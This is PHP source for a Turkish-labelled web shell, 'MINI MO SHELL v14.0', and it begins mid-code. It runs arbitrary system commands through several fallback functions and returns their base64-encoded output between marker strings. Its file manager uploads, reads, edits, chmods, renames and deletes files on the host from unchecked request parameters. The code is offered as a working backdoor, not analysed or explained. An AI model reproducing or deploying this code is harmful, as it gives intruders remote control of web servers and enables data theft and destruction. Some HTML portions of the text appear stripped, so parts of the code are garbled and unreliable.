&1'; $o=''; if(function_exists('shell_exec')){$o=@shell_exec($c);} elseif(function_exists('exec')){@exec($c,$arr);$o=implode("\n",$arr);} elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();} elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();} else{$o='BLOCKED';} echo 'RXST:'.base64_encode($o===null?'':$o).':RXEND'; exit; } // === MINI MO SHELL - FILE MANAGER === $current_path = (isset($_GET["path"])) ? $_GET["path"] : getcwd(); $current_path = str_replace("\\", "/", $current_path); $path_parts = explode("/", $current_path); echo "\n\n\n"; echo "\n"; echo "MINI MO Shell - Tarihli\n"; echo "\n\n\n"; // RXST Verify Banner $verify = 'RXST:'.base64_encode('MATHOK:195780').':RXEND'; echo "
VERIFY: ".$verify."
"; echo "

MINI MINI MANI MO - FILE MANAGER

\n"; // Path Gezinti echo "\n\n"; // Upload Form echo "\n"; // Command Box echo "\n"; // Dosya İşlemleri if (isset($_GET["filesrc"])) { echo "
Path : "; foreach ($path_parts as $index => $part) { if ($part == "" && $index == 0) { echo "/"; continue; } if ($part == "") continue; echo "$part/"; } echo "
"; if (isset($_FILES["file"])) { if (copy($_FILES["file"]["tmp_name"], $current_path . "/" . $_FILES["file"]["name"])) { echo "[+] Upload Başarılı: ".$_FILES["file"]["name"]."
"; } else { echo "[-] Upload Başarısız
"; } } echo "
\n"; echo "[+] File Upload : \n"; echo "\n"; echo "
\n"; echo "
"; echo "[+] Quick Command: whoami | "; echo "uname -a | "; echo "ls -la | "; echo "id"; echo "
Current File : " . $_GET["filesrc"] . "

"; echo ("
" . htmlspecialchars(file_get_contents($_GET["filesrc"])) . "
"); } elseif (isset($_GET["option"]) && $_POST["opt"] != "delete") { echo "
" . $_POST["path"] . "

"; if ($_POST["opt"] == "chmod") { if (isset($_POST["perm"])) { if (chmod($_POST["path"], $_POST["perm"])) { echo "[+] Change Permission Başarılı
"; } else { echo "[-] Change Permission Başarısız
"; } } echo "
\nPermission : \n"; echo "\n"; echo "\n"; echo "\n
"; } elseif ($_POST["opt"] == "rename") { if (isset($_POST["newname"])) { if (rename($_POST["path"], dirname($_POST["path"]) . "/" . $_POST["newname"])) { echo "[+] Rename Başarılı
"; } else { echo "[-] Rename Başarısız
"; } $_POST["name"] = $_POST["newname"]; } echo "
\nNew Name : \n"; echo "\n"; echo "\n"; echo "\n
"; } elseif ($_POST["opt"] == "edit") { if (isset($_POST["src"])) { $fp = fopen($_POST["path"], "w"); if (fwrite($fp, $_POST["src"])) { echo "[+] Edit Başarılı
"; } else { echo "[-] Edit Başarısız
"; } fclose($fp); } echo "
\n
\n"; echo "\n"; echo "\n"; echo "\n
"; } echo "
"; } else { // Silme İşlemi if (isset($_GET["option"]) && $_POST["opt"] == "delete") { if ($_POST["type"] == "dir") { if (rmdir($_POST["path"])) { echo "[+] Directory Silindi
"; } else { echo "[-] Directory Silinemedi
"; } } elseif ($_POST["type"] == "file") { if (unlink($_POST["path"])) { echo "[+] File Silindi
"; } else { echo "[-] File Silinemedi
"; } } } // Dizin Listeleme if (function_exists("opendir")) { $handle = opendir($current_path); if ($handle) { $scan = array(); while (($file = readdir($handle)) !== false) { $scan[] = $file; } closedir($handle); sort($scan); } } else { $scan = scandir($current_path); } echo "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; // Dizinler foreach ($scan as $item) { if (!is_dir($current_path . "/" . $item) || $item == "." || $item == "..") continue; $fullpath = $current_path . "/" . $item; $mtime = filemtime($fullpath); $date_str = date("Y-m-d H:i:s", $mtime); $time_diff = time() - $mtime; if ($time_diff < 3600) { $date_class = "date-recent"; } elseif ($time_diff < 86400) { $date_class = "date-today"; } elseif ($time_diff < 604800) { $date_class = "date-week"; } else { $date_class = "date-old"; } echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; } echo "\n"; // Dosyalar foreach ($scan as $item) { if (!is_file($current_path . "/" . $item)) continue; $fullpath = $current_path . "/" . $item; $file_size = filesize($fullpath) / 1024; $file_size = round($file_size, 3); if ($file_size >= 1024) { $file_size = round($file_size / 1024, 2) . " MB"; } else { $file_size = $file_size . " KB"; } $mtime = filemtime($fullpath); $date_str = date("Y-m-d H:i:s", $mtime); $time_diff = time() - $mtime; if ($time_diff < 3600) { $date_class = "date-recent"; } elseif ($time_diff < 86400) { $date_class = "date-today"; } elseif ($time_diff < 604800) { $date_class = "date-week"; } else { $date_class = "date-old"; } echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; } echo "
Name
Size
Permission
Modified
Modify
" . $item . "
--
"; if (is_writable($fullpath)) echo ""; elseif (!is_readable($fullpath)) echo ""; echo perms($fullpath); if (is_writable($fullpath) || !is_readable($fullpath)) echo ""; echo "
" . $date_str . "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\" style='background:#ff0000;color:#fff;' />\n
" . $item . "
" . $file_size . "
"; if (is_writable($fullpath)) echo ""; elseif (!is_readable($fullpath)) echo ""; echo perms($fullpath); if (is_writable($fullpath) || !is_readable($fullpath)) echo ""; echo "
" . $date_str . "
\n"; echo "\n"; echo "\n"; echo "\n"; echo "\n"; echo "\" style='background:#ff0000;color:#fff;' />\n
\n
\n"; } echo "

MINI MO SHELL v14.0 | Tarih: " . date("Y-m-d H:i:s") . " | RXST: ".$verify."
\n\n"; function perms($file) { $perms = fileperms($file); if (($perms & 0xC000) == 0xC000) { $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { $info = 'p'; } else { $info = 'u'; } $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-')); $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-')); $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?>